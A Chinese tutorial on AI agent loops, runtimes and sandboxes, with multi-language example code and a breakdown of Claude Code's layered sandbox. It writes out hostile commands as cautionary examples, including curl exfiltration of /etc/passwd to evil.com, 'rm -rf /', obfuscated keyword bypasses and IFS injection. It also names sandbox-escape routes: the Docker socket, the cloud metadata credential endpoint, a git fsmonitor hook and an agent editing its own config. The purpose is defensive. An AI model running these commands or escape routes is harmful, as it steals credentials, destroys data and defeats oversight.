从执行循环到安全沙箱——大脑的工程化基础设施
现代 AI Agent 系统从用户意图到最终结果的完整生命周期,由三个相互嵌套的核心概念共同承载:
LLM 驱动的感知→推理→规划→执行→观察→评估的6步循环。决定 Agent 做什么——如何决策、迭代和自我纠正。
为 Loop 提供工具调用、记忆管理、多 Agent 协作、可观测性等基础设施。决定 Agent 怎么做——把逻辑语义转化为可执行计算。
在代码执行、工具调用等不可信行为发生前,提供进程/容器/虚拟机级别的隔离保护。决定 Agent 在哪里做、在什么约束下做。
三者呈现严格的嵌套关系——Sandbox 在最外层(所有 Agent 行为最终都在某个隔离环境中执行),Runtime 在中间层(为 Loop 提供运行所需的一切基础设施),Agent Loop 在最内层(是 Runtime 中的一个逻辑循环,调用工具和 LLM)。
Agent Loop 定义做什么,Runtime 定义怎么做,Sandbox 定义在哪里做及在什么约束下做。三者共同构成一个既自主又安全的 AI Agent 系统。
Agent Loop 是整个系统的"大脑"。传统软件是"输入一次、输出一次",Agent 则通过不断循环,逐步逼近目标。每一次工具调用的结果都会触发下一轮推理——这就是事件驱动的本质。
标准 Agent Loop 包含以下6个步骤:
| 步骤 | 职责 | 典型输入 | 典型输出 |
|---|---|---|---|
| Perceive 感知 | 收集所有可用信息 | 用户消息、历史对话、环境状态 | 完整上下文 |
| Reason 推理 | LLM 分析当前状态 | 完整上下文 + System Prompt | 下一步行动决策 |
| Plan 规划 | 将任务分解为可执行步骤 | 行动决策 | 工具调用序列 |
| Act 执行 | 调用工具/API执行操作 | 工具名称 + 参数 | 工具返回结果 |
| Observe 观察 | 收集执行结果,更新上下文 | 工具返回结果 | 更新的对话历史 |
| Evaluate 评估 | 判断是否完成或继续 | 更新后的上下文 | Final Answer 或继续循环 |
不同的 Agent 框架采用了不同的循环策略:
| 模式 | 核心思路 | 优势 | 劣势 | 典型框架 |
|---|---|---|---|---|
| ReAct | 推理+行动交替循环 | 灵活、可解释 | 每轮都调LLM,Token消耗大 | LangChain ReAct |
| ReWOO | 规划→执行→求解三阶段 | 减少LLM调用次数 | 规划不可动态调整 | ReWOO 论文 |
| LLM Compiler | 并行执行多个工具 | 效率高、延迟低 | 依赖之间不可并行 | LangGraph |
| Reflexion | 执行后反思,自我纠正 | 自我进化、持续改进 | 反思轮次可能过多 | Reflexion 论文 |
class AgentLoop:
"""最小化 Agent Loop——感知→推理→规划→执行→观察→评估"""
def __init__(self, llm, tools, memory, max_turns=20):
self.llm = llm
self.tools = {t.name: t for t in tools}
self.memory = memory
self.max_turns = max_turns
def run(self, user_input: str) -> str:
# Step 1: Perceive 感知——初始化上下文
messages = self.memory.load() + [{"role": "user", "content": user_input}]
for turn in range(self.max_turns):
# Step 2+3: Reason+Plan 推理与规划——LLM 决策
response = self.llm.chat(messages, tools=list(self.tools.values()))
# Step 6: Evaluate 评估——判断是否完成
if response.finish_reason == "stop":
self.memory.save(messages + [response.message])
return response.content # Final Answer
# Step 4: Act 执行——调用工具(在 Sandbox 内)
messages.append(response.message)
for call in response.tool_calls:
tool = self.tools[call.name]
result = tool.execute(call.args) # → Sandbox
# Step 5: Observe 观察——注入结果
messages.append({
"role": "tool",
"tool_call_id": call.id,
"content": str(result),
})
raise RuntimeError(f"超过最大迭代次数 {self.max_turns}")interface ToolCall {
name: string;
args: Record<string, unknown>;
id: string;
}
interface LLMResponse {
finishReason: "stop" | "tool_call";
content: string;
toolCalls: ToolCall[];
message: Record<string, unknown>;
}
class AgentLoop {
private tools: Map<string, Tool> = new Map();
private maxTurns = 20;
async run(userInput: string): Promise<string> {
// Step 1: Perceive 感知——初始化上下文
const messages = [...this.memory.load(), { role: "user", content: userInput }];
for (let turn = 0; turn < this.maxTurns; turn++) {
// Step 2+3: Reason+Plan 推理与规划
const response: LLMResponse = await this.llm.chat(messages, Array.from(this.tools.values()));
// Step 6: Evaluate 评估
if (response.finishReason === "stop") {
this.memory.save([...messages, response.message]);
return response.content; // Final Answer
}
// Step 4: Act 执行——调用工具
messages.push(response.message);
for (const call of response.toolCalls) {
const tool = this.tools.get(call.name)!;
const result = await tool.execute(call.args); // → Sandbox
// Step 5: Observe 观察
messages.push({
role: "tool",
tool_call_id: call.id,
content: String(result),
});
}
}
throw new Error(`超过最大迭代次数 ${this.maxTurns}`);
}
}type ToolCall struct {
Name string
Args map[string]interface{}
ID string
}
type LLMResponse struct {
FinishReason string // "stop" or "tool_call"
Content string
ToolCalls []ToolCall
}
type AgentLoop struct {
llm LLMClient
tools map[string]Tool
memory Memory
maxTurns int
}
func (al *AgentLoop) Run(userInput string) (string, error) {
// Step 1: Perceive 感知——初始化上下文
messages := append(al.memory.Load(), Message{Role: "user", Content: userInput})
for turn := 0; turn < al.maxTurns; turn++ {
// Step 2+3: Reason+Plan 推理与规划
resp, err := al.llm.Chat(messages, al.tools)
if err != nil {
return "", err
}
// Step 6: Evaluate 评估
if resp.FinishReason == "stop" {
al.memory.Save(append(messages, Message{Role: "assistant", Content: resp.Content}))
return resp.Content, nil // Final Answer
}
// Step 4: Act 执行——调用工具
for _, call := range resp.ToolCalls {
tool := al.tools[call.Name]
result := tool.Execute(call.Args) // → Sandbox
// Step 5: Observe 观察
messages = append(messages, Message{
Role: "tool",
ToolCallID: call.ID,
Content: fmt.Sprintf("%v", result),
})
}
}
return "", fmt.Errorf("超过最大迭代次数 %d", al.maxTurns)
}public class AgentLoop {
private final LLMClient llm;
private final Map<String, Tool> tools;
private final Memory memory;
private final int maxTurns = 20;
public String run(String userInput) throws MaxTurnsExceeded {
// Step 1: Perceive 感知——初始化上下文
List<Message> messages = new ArrayList<>(memory.load());
messages.add(new Message("user", userInput));
for (int turn = 0; turn < maxTurns; turn++) {
// Step 2+3: Reason+Plan 推理与规划
LLMResponse resp = llm.chat(messages, tools.values());
// Step 6: Evaluate 评估
if (resp.getFinishReason().equals("stop")) {
memory.save(messages);
return resp.getContent(); // Final Answer
}
// Step 4: Act 执行——调用工具
messages.add(resp.getMessage());
for (ToolCall call : resp.getToolCalls()) {
Tool tool = tools.get(call.getName());
Object result = tool.execute(call.getArgs()); // → Sandbox
// Step 5: Observe 观察
messages.add(new Message("tool", call.getId(), String.valueOf(result)));
}
}
throw new MaxTurnsExceeded("超过最大迭代次数 " + maxTurns);
}
}工具永远失败,但 LLM 一直重试——例如 API 返回 429 限流,Agent 不断重试同一调用,消耗大量 Token 和时间。
每轮把全部历史塞入 Context Window——10轮对话后,上下文可能超过模型限制,导致截断或崩溃。
| 陷阱 | 工程对策 | 实现方式 |
|---|---|---|
| 死循环 | max_turns 上限 + 错误重试退避 | 设置迭代上限(如20轮);同工具连续失败3次后切换策略或降级 |
| Token 爆炸 | 滑动窗口压缩 + 摘要替代 | 超过阈值时,对早期对话做摘要压缩;只保留最近N轮完整历史 |
| 幻觉工具调用 | 参数校验 + 权限控制 | Runtime 层校验工具参数格式和值域;危险操作需人工审批 |
Agent Runtime 是将 Agent Loop 的逻辑语义转化为可执行计算的基础设施层。类比编程语言的运行时(JVM 为 Java 提供、V8 为 Node.js 提供),Agent Runtime 为 Loop 提供:
现代 Agent Runtime 通常包含以下五层,从底层到上层依次为:
| 层级 | 职责 | 关键组件 | 对应概念 |
|---|---|---|---|
| LLM 管理层 | 模型路由、Token 管理、重试与降级 | Model Router、Token Counter、Retry Policy | Agent 的"大脑供给" |
| 工具注册层 | 工具定义、参数校验、权限控制、调用日志 | Tool Registry、Validator、Permission Guard | Agent 的"手脚管控" |
| 记忆管理层 | 短期记忆(上下文窗口)、长期记忆(向量数据库)、工作记忆(跨会话存储) | Context Window、Vector DB、Session Store | Agent 的"记忆系统" |
| 执行调度层 | Loop 引擎、并发控制、超时与熔断 | Loop Engine、Concurrency Pool、Circuit Breaker | Agent 的"运动神经" |
| 可观测层 | Tracing、Metrics、Logging、Debug | OpenTelemetry、Dashboard、Debug UI | Agent 的"体检报告" |
class ToolRegistry:
"""工具注册层——工具定义、参数校验、权限控制、调用日志"""
def __init__(self):
self.tools: dict[str, dict] = {}
self.permissions: dict[str, list[str]] = {} # 工具→允许的角色列表
def register(self, name: str, description: str, parameters: dict,
handler: callable, allowed_roles: list[str] = None):
"""注册一个工具"""
self.tools[name] = {
"name": name,
"description": description,
"parameters": parameters,
"handler": handler,
}
self.permissions[name] = allowed_roles or ["*"]
def validate_and_call(self, tool_name: str, args: dict, caller_role: str = "user") -> dict:
"""校验参数、权限后执行工具调用"""
# 1. 权限校验
if tool_name not in self.tools:
return {"error": f"工具 {tool_name} 不存在"}
allowed = self.permissions[tool_name]
if "*" not in allowed and caller_role not in allowed:
return {"error": f"角色 {caller_role} 无权调用 {tool_name}"}
# 2. 参数校验
schema = self.tools[tool_name]["parameters"]
for param_name, param_spec in schema.items():
if param_spec.get("required") and param_name not in args:
return {"error": f"缺少必需参数 {param_name}"}
# 3. 执行调用(委托 Sandbox)
result = self.tools[tool_name]["handler"](args)
return {"result": result}interface ToolDef {
name: string;
description: string;
parameters: Record<string, ParamSpec>;
handler: (args: Record<string, unknown>) => Promise<unknown>;
}
interface ParamSpec {
type: string;
required: boolean;
description?: string;
}
class ToolRegistry {
private tools: Map<string, ToolDef> = new Map();
private permissions: Map<string, string[]> = new Map();
register(name: string, description: string, parameters: Record<string, ParamSpec>,
handler: (args: Record<string, unknown>) => Promise<unknown>,
allowedRoles: string[] = ["*"]): void {
this.tools.set(name, { name, description, parameters, handler });
this.permissions.set(name, allowedRoles);
}
async validateAndCall(toolName: string, args: Record<string, unknown>, callerRole = "user"): Promise<Record<string, unknown>> {
// 1. 权限校验
const tool = this.tools.get(toolName);
if (!tool) return { error: `工具 ${toolName} 不存在` };
const allowed = this.permissions.get(toolName)!;
if (!allowed.includes("*") && !allowed.includes(callerRole)) {
return { error: `角色 ${callerRole} 无权调用 ${toolName}` };
}
// 2. 参数校验
for (const [paramName, spec] of Object.entries(tool.parameters)) {
if (spec.required && !(paramName in args)) {
return { error: `缺少必需参数 ${paramName}` };
}
}
// 3. 执行调用(委托 Sandbox)
const result = await tool.handler(args);
return { result };
}
}type ToolDef struct {
Name string
Description string
Parameters map[string]ParamSpec
Handler func(map[string]interface{}) (interface{}, error)
}
type ParamSpec struct {
Type string
Required bool
Description string
}
type ToolRegistry struct {
tools map[string]ToolDef
permissions map[string][]string // tool -> allowed roles
}
func (tr *ToolRegistry) Register(name, desc string, params map[string]ParamSpec,
handler func(map[string]interface{}) (interface{}, error), allowedRoles []string) {
if len(allowedRoles) == 0 {
allowedRoles = []string{"*"}
}
tr.tools[name] = ToolDef{name, desc, params, handler}
tr.permissions[name] = allowedRoles
}
func (tr *ToolRegistry) ValidateAndCall(toolName string, args map[string]interface{}, callerRole string) map[string]interface{} {
// 1. 权限校验
tool, ok := tr.tools[toolName]
if !ok {
return map[string]interface{}{"error": fmt.Sprintf("工具 %s 不存在", toolName)}
}
allowed := tr.permissions[toolName]
hasAccess := false
for _, role := range allowed {
if role == "*" || role == callerRole {
hasAccess = true
break
}
}
if !hasAccess {
return map[string]interface{}{"error": fmt.Sprintf("角色 %s 无权调用 %s", callerRole, toolName)}
}
// 2. 参数校验
for paramName, spec := range tool.Parameters {
if spec.Required {
if _, exists := args[paramName]; !exists {
return map[string]interface{}{"error": fmt.Sprintf("缺少必需参数 %s", paramName)}
}
}
}
// 3. 执行调用(委托 Sandbox)
result, err := tool.Handler(args)
if err != nil {
return map[string]interface{}{"error": err.Error()}
}
return map[string]interface{}{"result": result}
}public class ToolRegistry {
private final Map<String, ToolDef> tools = new HashMap<>();
private final Map<String, List<String>> permissions = new HashMap<>();
public void register(String name, String description, Map<String, ParamSpec> parameters,
Function<Map<String, Object>, Object> handler, List<String> allowedRoles) {
if (allowedRoles == null || allowedRoles.isEmpty()) {
allowedRoles = List.of("*");
}
tools.put(name, new ToolDef(name, description, parameters, handler));
permissions.put(name, allowedRoles);
}
public Map<String, Object> validateAndCall(String toolName, Map<String, Object> args, String callerRole) {
// 1. 权限校验
ToolDef tool = tools.get(toolName);
if (tool == null) return Map.of("error", "工具 " + toolName + " 不存在");
List<String> allowed = permissions.get(toolName);
boolean hasAccess = allowed.contains("*") || allowed.contains(callerRole);
if (!hasAccess) return Map.of("error", "角色 " + callerRole + " 无权调用 " + toolName);
// 2. 参数校验
for (Map.Entry<String, ParamSpec> entry : tool.parameters.entrySet()) {
if (entry.getValue().required && !args.containsKey(entry.getKey())) {
return Map.of("error", "缺少必需参数 " + entry.getKey());
}
}
// 3. 执行调用(委托 Sandbox)
Object result = tool.handler.apply(args);
return Map.of("result", result);
}
}| 框架 | 核心思路 | Loop 模式 | 记忆管理 | 工具生态 |
|---|---|---|---|---|
| LangChain | 链式组合、模块化 | ReAct + 自定义 | 短期/长期/工作记忆 | 200+内置工具 + MCP |
| AutoGen | 多 Agent 对话协作 | 对话式循环 | 对话历史压缩 | 自定义 + 代码执行 |
| CrewAI | 角色扮演、流程编排 | 顺序/并行/层级 | 短期记忆 | 工具定义装饰器 |
| OpenAI Agents SDK | 轻量级、Handoff 交接 | 单 Agent 循环 | 对话历史 | Function Calling |
| Google ADK | 端到端、多模态 | ReAct + 反思 | 内置记忆模块 | Google 工具生态 |
构建企业级 Agent 或多智能体协作应用,推荐使用 Google ADK(Agent Development Kit)。它提供原生的多智能体编排能力、内置丰富的 Google 工具生态(Search、Maps、Vertex AI 等)以及清晰的异步工作流,更适合工程化落地。需要多 Agent 协作也可考虑 AutoGen 或 CrewAI;追求轻量可选 OpenAI Agents SDK;常规场景 LangChain 生态也能覆盖。
AI Agent 的核心能力之一是执行代码——这带来了巨大的安全风险。LLM 有时会生成恶意代码、无限循环、文件删除命令或网络扫描脚本。如果没有 Sandbox,这些代码将直接在主机环境执行,可能造成不可逆破坏。
案例1:用户让 Agent "帮我清理临时文件",Agent 生成 rm -rf /tmp/*,结果误删了重要的运行时数据。
案例2:Agent 在分析数据时生成 while True: pass,CPU 100%占用,导致整个服务瘫痪。
案例3:Agent 执行了 curl http://evil.com/exfiltrate?data=$(cat /etc/passwd),将系统敏感信息发送到外部。
| 隔离级别 | 技术方案 | 隔离强度 | 启动速度 | 适用场景 |
|---|---|---|---|---|
| 进程级 | subprocess + 资源限制(ulimit/cgroups) | 🟡 低 | ⚡ 毫秒 | 简单代码执行、快速验证 |
| 容器级 | Docker / gVisor / Podman | 🟢 中 | ⚡ 秒级 | Web 应用、API 服务、多租户 |
| 微虚拟机 | Firecracker / Kata Containers | 🔴 高 | ⏱ 125ms~秒级 | 金融/医疗等高安全场景 |
| WebAssembly | WASM Runtime(Wasmtime/Wasmer) | 🟢 中 | ⚡ 毫秒 | 浏览器端执行、轻量计算 |
| 云沙箱 | E2B / Modal / Daytona / CubeSandbox | 🟢 中高 | ⚡ 秒级(托管) | 不想自建沙箱的开发者 |
import subprocess
import resource
import json
import os
class SandboxExecutor:
"""进程级 Sandbox——限制资源、隔离网络、审计日志"""
SANDBOX_CONFIG = {
"code_execution": {
"max_cpu_seconds": 30,
"max_memory_mb": 512,
"max_output_bytes": 100_000,
"network_disabled": True,
"allowed_paths": ["/tmp/sandbox"],
},
"web_search": {
"network_disabled": False,
"max_cpu_seconds": 10,
},
}
def execute_in_sandbox(self, skill_name: str, tool_name: str,
code: str, timeout: int = 30) -> dict:
"""在 Sandbox 中执行代码"""
config = self.SANDBOX_CONFIG.get(skill_name, self.SANDBOX_CONFIG["code_execution"])
# 写入临时文件
tmp_path = f"/tmp/sandbox/{os.getpid()}_{tool_name}.py"
with open(tmp_path, "w") as f:
f.write(code)
try:
# 设置资源限制 + 网络隔离
result = subprocess.run(
["python3", tmp_path],
timeout=min(timeout, config["max_cpu_seconds"]),
capture_output=True,
text=True,
env={"PATH": "/usr/bin", "HOME": "/tmp/sandbox"}, # 最小环境
)
return {"stdout": result.stdout[:config["max_output_bytes"]],
"stderr": result.stderr, "exit_code": result.returncode}
except subprocess.TimeoutExpired:
return {"error": f"执行超时({timeout}s)"}
finally:
os.unlink(tmp_path) # 清理import { spawn } from "child_process";
import { writeFileSync, unlinkSync } from "fs";
interface SandboxConfig {
maxCpuSeconds: number;
maxMemoryMb: number;
maxOutputBytes: number;
networkDisabled: boolean;
allowedPaths: string[];
}
class SandboxExecutor {
private readonly SANDBOX_CONFIG: Record<string, SandboxConfig> = {
code_execution: {
maxCpuSeconds: 30, maxMemoryMb: 512,
maxOutputBytes: 100_000, networkDisabled: true,
allowedPaths: ["/tmp/sandbox"],
},
web_search: {
maxCpuSeconds: 10, maxMemoryMb: 256,
maxOutputBytes: 10_000, networkDisabled: false,
allowedPaths: ["/tmp/sandbox"],
},
};
async executeInSandbox(skillName: string, toolName: string,
code: string, timeout = 30): Promise<Record<string, unknown>> {
const config = this.SANDBOX_CONFIG[skillName] ?? this.SANDBOX_CONFIG["code_execution"];
const tmpPath = `/tmp/sandbox/${process.pid}_${toolName}.js`;
writeFileSync(tmpPath, code);
try {
const result = await new Promise<Record<string, unknown>>((resolve) => {
const child = spawn("node", [tmpPath], {
timeout: Math.min(timeout, config.maxCpuSeconds) * 1000,
env: { PATH: "/usr/bin", HOME: "/tmp/sandbox" },
});
let stdout = "", stderr = "";
child.stdout.on("data", (d: Buffer) => stdout += d.toString().slice(0, config.maxOutputBytes));
child.stderr.on("data", (d: Buffer) => stderr += d.toString());
child.on("close", (code: number) => resolve({ stdout, stderr, exitCode: code }));
child.on("error", (err: Error) => resolve({ error: err.message }));
});
return result;
} catch (err: unknown) {
return { error: `执行超时(${timeout}s)` };
} finally {
unlinkSync(tmpPath);
}
}
}import (
"os"
"os/exec"
"time"
)
type SandboxConfig struct {
MaxCpuSeconds int
MaxMemoryMB int
MaxOutputBytes int
NetworkDisabled bool
AllowedPaths []string
}
type SandboxExecutor struct {
SandboxConfig map[string]SandboxConfig
}
func NewSandboxExecutor() *SandboxExecutor {
return &SandboxExecutor{
SandboxConfig: map[string]SandboxConfig{
"code_execution": {MaxCpuSeconds: 30, MaxMemoryMB: 512, MaxOutputBytes: 100000, NetworkDisabled: true, AllowedPaths: []string{"/tmp/sandbox"}},
"web_search": {MaxCpuSeconds: 10, MaxMemoryMB: 256, MaxOutputBytes: 10000, NetworkDisabled: false, AllowedPaths: []string{"/tmp/sandbox"}},
},
}
}
func (s *SandboxExecutor) ExecuteInSandbox(skillName, toolName, code string, timeout int) map[string]interface{} {
config, ok := s.SandboxConfig[skillName]
if !ok {
config = s.SandboxConfig["code_execution"]
}
if timeout > config.MaxCpuSeconds {
timeout = config.MaxCpuSeconds
}
// 写入临时文件
tmpPath := fmt.Sprintf("/tmp/sandbox/%d_%s.py", os.Getpid(), toolName)
os.WriteFile(tmpPath, []byte(code), 0644)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second)
defer cancel()
cmd := exec.CommandContext(ctx, "python3", tmpPath)
cmd.Env = []string{"PATH=/usr/bin", "HOME=/tmp/sandbox"}
output, err := cmd.CombinedOutput()
os.Remove(tmpPath) // 清理
if err != nil {
if ctx.Err() == context.DeadlineExceeded {
return map[string]interface{}{"error": fmt.Sprintf("执行超时(%ds)", timeout)}
}
return map[string]interface{}{"error": err.Error(), "stderr": string(output)}
}
return map[string]interface{}{"stdout": string(output[:min(len(output), config.MaxOutputBytes)])}
}import java.io.*;
import java.util.*;
import java.util.concurrent.*;
public class SandboxExecutor {
private final Map<String, SandboxConfig> sandboxConfig = Map.of(
"code_execution", new SandboxConfig(30, 512, 100_000, true, List.of("/tmp/sandbox")),
"web_search", new SandboxConfig(10, 256, 10_000, false, List.of("/tmp/sandbox"))
);
public Map<String, Object> executeInSandbox(String skillName, String toolName,
String code, int timeout) {
SandboxConfig config = sandboxConfig.getOrDefault(skillName, sandboxConfig.get("code_execution"));
timeout = Math.min(timeout, config.maxCpuSeconds);
String tmpPath = String.format("/tmp/sandbox/%d_%s.py", ProcessHandle.current().pid(), toolName);
try {
Files.writeString(Path.of(tmpPath), code);
} catch (IOException e) {
return Map.of("error", "写入临时文件失败");
}
ProcessBuilder pb = new ProcessBuilder("python3", tmpPath);
pb.environment().put("PATH", "/usr/bin");
pb.environment().put("HOME", "/tmp/sandbox");
pb.redirectErrorStream(true);
try {
Process proc = pb.start();
boolean finished = proc.waitFor(timeout, TimeUnit.SECONDS);
if (!finished) {
proc.destroyForcibly();
return Map.of("error", String.format("执行超时(%ds)", timeout));
}
String output = new String(proc.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
return Map.of("stdout", output.substring(0, Math.min(output.length(), config.maxOutputBytes)),
"exitCode", proc.exitValue());
} catch (Exception e) {
return Map.of("error", e.getMessage());
} finally {
Files.deleteIfExists(Path.of(tmpPath));
}
}
}/var/run/docker.sock,可直接创建特权容器逃逸169.254.169.254,获取云厂商 IAM 凭证Agent Sandbox 应遵循默认拒绝一切,按需开白原则。
绝对不能暴露给 Sandbox 的资源:宿主机 Docker Socket、云厂商元数据 API、内网服务发现端口、SSH 私钥目录。
前面的 SandboxExecutor 是教学级实现——用 subprocess + 资源限制完成基本隔离。但在生产级 Coding Agent(如 Claude Code)中,沙箱架构远比这复杂。本节以 Claude Code 的真实源码为例,拆解工业级沙箱的三层纵深防御架构。
Claude Code 是 Anthropic 推出的 CLI Coding Agent,直接在用户终端执行 Bash 命令、读写文件、运行代码。它的沙箱必须做到:既不阻止正常开发,又能在 LLM 生成恶意命令时及时阻断。这是目前公开可分析的最完整的 Agent 沙箱实现之一。
在命令进入沙箱之前,Claude Code 先做一轮应用级静态分析——相当于在门口过安检。这层完全在 JS/TS 代码中完成,不依赖操作系统。
核心组件:
| 验证器 | 检测目标 | 示例 |
|---|---|---|
| 命令替换检测 | $() / 反引号注入 | curl $(cat /etc/passwd).evil.com |
| Shell 元字符 | ; | && || 后跟危险命令 | ls; rm -rf / |
| Heredoc 白名单 | 定界符单引号/转义验证 | <<EOF 中嵌入恶意命令 |
| Git Commit 注入 | -m 前的 Shell 元字符 | git commit -m "$(evil)" |
| Jq system() 阻断 | jq 调用 system() 函数 | jq 'system("rm -rf /")' |
| 混淆标志检测 | ANSI-C 引号 $'...' / locale 引号 $"..." | 用 $'\x72\x6d' 绕过 "rm" 关键词检测 |
| Zsh 危险命令 | Zsh 模块加载、zmodload 攻击 | zmodload zsh/system |
| IFS 注入 | 修改 $IFS 改变分词行为 | IFS=':'; evil:command |
关键设计:复合命令拆分上限 MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50。超过 50 个子命令时直接降级为 "ask" 模式(要求用户确认),防止正则爆炸攻击(ReDoS)。这是一个典型的安全 vs 可用性权衡——正常开发命令极少超过 50 个子命令。
通过安全检查后,命令进入权限决策引擎——决定这条命令是在沙箱内自动执行、需要用户确认、还是直接拒绝。核心是 shouldUseSandbox() 函数的三步决策:
三种沙箱模式:
| 模式 | 行为 | 适用场景 |
|---|---|---|
| auto-allow | 沙箱内命令自动执行,无需确认 | 可信项目、日常开发 |
| regular | 每条命令需用户确认后执行 | 新项目、敏感环境 |
| disabled | 不使用沙箱,所有命令需确认 | 沙箱不可用或用户显式关闭 |
沙箱配置有 5 个来源,按优先级从高到低合并:
policySettings(企业策略) > flagSettings(命令行参数) > projectSettings(项目配置) > localSettings(本地配置) > userSettings(用户全局配置)
企业策略可锁定沙箱设置(areSandboxSettingsLockedByPolicy),低优先级源无法覆盖——这是企业安全合规的关键机制。
通过权限决策后,命令最终在操作系统级沙箱中执行。Claude Code 根据平台选择不同的 OS 沙箱技术:
| 平台 | 沙箱技术 | 原理 | 依赖 |
|---|---|---|---|
| macOS | Seatbelt(sandbox-exec) | 内核级沙箱配置文件,限制文件系统访问、网络、系统调用 | 系统内置,零安装 |
| Linux/WSL2 | Bubblewrap + seccomp | bwrap 创建挂载命名空间(文件系统隔离),seccomp 过滤系统调用 | 需 apt install bubblewrap socat |
| Windows | PowerShell 沙箱包装 | pwsh -NoProfile -NonInteractive -EncodedCommand 预包装 | 系统内置 |
Bubblewrap 通过挂载命名空间实现三级文件系统控制:
--bind):项目目录、/tmp——Agent 可读写--ro-bind):系统库、/usr/bin——Agent 可读不可写--dev-null):敏感路径——Agent 完全不可见特别地,Claude Code 禁止写入 settings.json 和 .claude/skills/ 目录——防止 Agent 修改自身配置实现沙箱逃逸。
沙箱网络通过代理 + 域名白名单实现,而非直接禁用网络:
httpProxyPort):MITM 代理拦截 HTTP 请求,只允许 allowedDomains 中的域名socksProxyPort):拦截 TCP 连接,非白名单域名直接拒绝/var/run/docker.sock 逃逸)这意味着 Agent 可以 npm install(npm registry 在白名单中),但不能 curl http://evil.com。
攻击者可创建一个裸 Git 仓库,设置 core.fsmonitor 指向恶意脚本。当 Agent 在该仓库中执行 git status 时,Git 会自动执行 core.fsmonitor 指定的脚本——绕过沙箱的命令检查。
Claude Code 的防御:scrubBareGitRepoFiles() 在进入沙箱前扫描并清除裸 Git 仓库的危险配置文件。这是针对真实攻击向量的深度防御。
企业版支持 areSandboxSettingsLockedByPolicy 和 allowManagedDomainsOnly:
沙箱配置使用 memoized 缓存——以 settings 对象为 key,配置变更时自动失效重建。用户修改 .claude/settings.json 后,下一条命令立即使用新配置,无需重启 Agent。
所有沙箱违规事件(如尝试写入被屏蔽路径、访问非白名单域名)被记录到 SandboxViolationStore,并在 stderr 中以特殊标记输出。支持事后审计和告警。
真实的跨平台沙箱实现充满了只有踩过坑才知道的细节:
wrapWithSandbox 硬编码 /bin/sh -c '<cmd>' 会丢失 pwsh -NoProfile -NonInteractive 参数。解决方案:用 pwsh -EncodedCommand <base64> 预包装,base64 可穿过 shellquote.quote() 层不被解析O_NOFOLLOW 标志打开,如果文件是 symlink 则拒绝写入,防止攻击者用符号链接重定向输出'w' 而非 'a' 打开——'a' 模式在 Windows 上会丢失 FILE_WRITE_DATA 权限,导致 MSYS2/Cygwin 环境静默丢弃输出O_APPEND 原子交错写入,避免多进程输出混乱Claude Code 沙箱的精髓在于纵深防御——三层中任何一层都可以独立阻断威胁:
对比教学级 SandboxExecutor:8.4.3 的实现只有一层(进程级资源限制),Claude Code 有三层。教学版只能限制 CPU/内存,无法阻止 curl evil.com;Claude Code 的网络代理可以。教学版无法检测 rm -rf /;Claude Code 的路径验证器可以。这就是纵深防御的价值——不依赖单一安全机制。
在真实的 Agent 系统中,Loop、Runtime 和 Sandbox 是紧密耦合的:Loop 调度 Runtime,Runtime 委托 Sandbox 执行不可信代码。以下是一次典型的"写代码→运行→修复"任务的完整执行路径:
class SecureAgent:
"""完整集成:AgentLoop + Runtime(ToolRegistry + Memory) + SandboxExecutor"""
def __init__(self, llm, sandbox: SandboxExecutor):
self.loop = AgentLoop(llm, tools=[], memory=InMemoryMemory(), max_turns=10)
self.registry = ToolRegistry()
self.sandbox = sandbox
# 注册工具:代码生成(在 Sandbox 中执行)
self.registry.register(
name="execute_code",
description="在安全沙箱中执行Python代码",
parameters={"code": {"type": "string", "required": True, "description": "Python代码"}},
handler=lambda args: self.sandbox.execute_in_sandbox(
"code_execution", "execute_code", args["code"]),
allowed_roles=["assistant"],
)
# 注册工具:搜索
self.registry.register(
name="web_search",
description="搜索网页内容",
parameters={"query": {"type": "string", "required": True}},
handler=lambda args: search_web(args["query"]),
allowed_roles=["*"],
)
self.loop.tools = self.registry.tools
def run(self, user_input: str) -> str:
"""运行完整的 Agent 系统"""
return self.loop.run(user_input)class SecureAgent {
private loop: AgentLoop;
private registry: ToolRegistry;
private sandbox: SandboxExecutor;
constructor(llm: LLMClient, sandbox: SandboxExecutor) {
this.loop = new AgentLoop(llm, [], new InMemoryMemory(), 10);
this.registry = new ToolRegistry();
this.sandbox = sandbox;
// 注册工具:代码生成(在 Sandbox 中执行)
this.registry.register(
"execute_code",
"在安全沙箱中执行代码",
{ code: { type: "string", required: true, description: "代码" } },
async (args) => this.sandbox.executeInSandbox("code_execution", "execute_code", args.code as string),
["assistant"],
);
// 注册工具:搜索
this.registry.register(
"web_search",
"搜索网页内容",
{ query: { type: "string", required: true } },
async (args) => searchWeb(args.query as string),
["*"],
);
}
async run(userInput: string): Promise<string> {
return this.loop.run(userInput);
}
}type SecureAgent struct {
loop *AgentLoop
registry *ToolRegistry
sandbox *SandboxExecutor
}
func NewSecureAgent(llm LLMClient, sandbox *SandboxExecutor) *SecureAgent {
registry := NewToolRegistry()
// 注册工具:代码生成(在 Sandbox 中执行)
registry.Register("execute_code", "在安全沙箱中执行代码",
map[string]ParamSpec{"code": {Type: "string", Required: true}},
func(args map[string]interface{}) (interface{}, error) {
code, _ := args["code"].(string)
result := sandbox.ExecuteInSandbox("code_execution", "execute_code", code, 30)
return result, nil
},
[]string{"assistant"},
)
// 注册工具:搜索
registry.Register("web_search", "搜索网页内容",
map[string]ParamSpec{"query": {Type: "string", Required: true}},
func(args map[string]interface{}) (interface{}, error) {
query, _ := args["query"].(string)
return SearchWeb(query), nil
},
[]string{"*"},
)
loop := &AgentLoop{llm: llm, tools: registry.tools, memory: NewInMemoryMemory(), maxTurns: 10}
return &SecureAgent{loop, registry, sandbox}
}
func (sa *SecureAgent) Run(userInput string) (string, error) {
return sa.loop.Run(userInput)
}public class SecureAgent {
private final AgentLoop loop;
private final ToolRegistry registry;
private final SandboxExecutor sandbox;
public SecureAgent(LLMClient llm, SandboxExecutor sandbox) {
this.registry = new ToolRegistry();
this.sandbox = sandbox;
// 注册工具:代码生成(在 Sandbox 中执行)
registry.register("execute_code", "在安全沙箱中执行代码",
Map.of("code", new ParamSpec("string", true, "代码")),
args => sandbox.executeInSandbox("code_execution", "execute_code",
(String) args.get("code"), 30),
List.of("assistant"));
// 注册工具:搜索
registry.register("web_search", "搜索网页内容",
Map.of("query", new ParamSpec("string", true, "搜索关键词")),
args => searchWeb((String) args.get("query")),
List.of("*"));
this.loop = new AgentLoop(llm, registry.getToolsMap(), new InMemoryMemory(), 10);
}
